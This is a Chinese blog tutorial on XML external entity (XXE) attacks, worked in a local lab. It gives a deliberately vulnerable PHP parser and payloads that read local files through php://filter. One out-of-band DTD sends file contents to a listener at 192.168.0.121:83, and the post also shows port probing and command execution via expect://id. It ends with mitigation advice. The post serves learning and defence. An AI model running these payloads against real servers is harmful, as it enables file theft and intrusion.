XXE学习(三)——XXE练习
寻找环境练***E~~
一、有回显读取本地敏感文件
-
示例代码:
<?php libxml_disable_entity_loader (false); $xmlfile = file_get_contents('php://input'); $dom = new DOMDocument(); $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); $creds = simplexml_import_dom($dom); echo $creds; ?>
使用bp抓包repeater模块
修改GET方法为POST,并在正文部分填入xml。
文件无特殊字符

可以看到文件内容被成功读取到
这里的xml的意思是,定义一个普通实体xxe,它的内容是h盘下的test目录中的nomal.txt
xml中引用后,因为示例代码中会打印出来,所以成功读取了该文件。
文件有特殊字符
-
第一种方式

报错,无法读取
更换另一种方法
所有 XML 文档中的文本均会被解析器解析。
只有 CDATA 区段(CDATA section)中的文本会被解析器忽略。
CDATA 部分由
"<![CDATA["
开始
由
"]]>"
结束:

evil.dtd:
<?xml version="1.0" encoding="UTF-8"?> <!ENTITY all "%start;%xxe;%end;">
这里在DTD中定义了四个参数实体
start xxe end dtd
前三个拼接之后
<![CDATA[""]]>
其中的内容就是special文件,里面的内容不会被解析
有&all;在xml中引用,就可以成功返回有特殊字符的文件。
当时我想,为什么要多此一举,为什么当场在DTD中拼接呢。
直接在本DTD中拼接报错了
后来查找资料应该是因为:
参数实体引用不能出现在内部DTD的标记声明内部,可以在标记声明允许出现的地方出现。对于外部DTD则没有这个限制。
-
第二种方式(限定php)
利用php://filter
php://filter 是一种元封装器, 设计用于数据流打开时的筛选过滤应用。 这对于一体式(all-in-one)的文件函数非常有用,类似 readfile()、 file() 和 file_get_contents(), 在数据流内容读取之前没有机会应用其他过滤器。
——php.net

这样,特殊字符就被换成base64的方式输出,不存在问题
-
二、无回显读取本地敏感文件
-
示例代码
<?php libxml_disable_entity_loader (false); $xmlfile = file_get_contents('php://input'); $dom = new DOMDocument(); $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); ?>
这里是没有直接回显的。
首先我们要在目标之外,目标能访问到的地方构造一个dtd文件,然后再向目标发送构造好的xml,让目标去访问这个指定的dtd,由dtd中的设置,再让目标带着参数去访问我们用来读取信息的地址。
这里为了方便,我就在目标网站的目录里直接放一个构造好dtd,
192.168.0.121/b.dtd(放在其他能访问的位置也可以)
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///h:/test/special.txt"> <!ENTITY % int "<!ENTITY % send SYSTEM 'http://192.168.0.121:83/?p=%file;'>">
参数实体file是要读取的文件。
参数实体int中又定义了一个参数实体send。
(%:实体编码,相当于%)
这个参数实体send,就是我们指定目标网站去访问的地址,也就是我们本地监听的地址
本地开始监听192.168.0.121:83,之后我们可以通过这里读取到文件。
向目标网站发送xml。
-
服务器有报错

报错信息中可以直接看到p=....一串base64编码,解码后就是所要读取的数据
-
无报错

还是可以在本地监听的端口中查看到所需要的信息。
base64解码后即可还原。
-
三、利用XXE进行端口探测:
实际利用:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE user SYSTEM "http://192.168.1.223:999">
<user><username>&all;</username><password>132123</password></user>
根据响应时间来判断是否开放端口
四、利用php的扩展执行系统命令
当目标机器安装并加载了PHP的expect扩展,可以执行系统命令.(由于这个扩展不是默认安装的)
<?xml version="1.0"?>
<!DOCTYPE root [ <!ELEMENT ANY >
<!ENTITY xxe SYSTEM "expect://id" >]>
<root>&xxe;</root>
五、漏洞修复
方案一:
过滤用户输入的xml数据,比如尖括号,一些关键字:<!DOCTYPE和<!ENTITY,或者,SYSTEM和PUBLIC等
方案二:
禁用外部实体(分别在对应语言中添加以下代码):
PHP:
libxml_disable_entity_loader(true);
JAVA:
DocumentBuilderFactorydbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
Python:
from lxml import etree
xmlData= etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
参考链接:
https://mature-sec.com/post/xxe%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/

浙公网安备 33010602011771号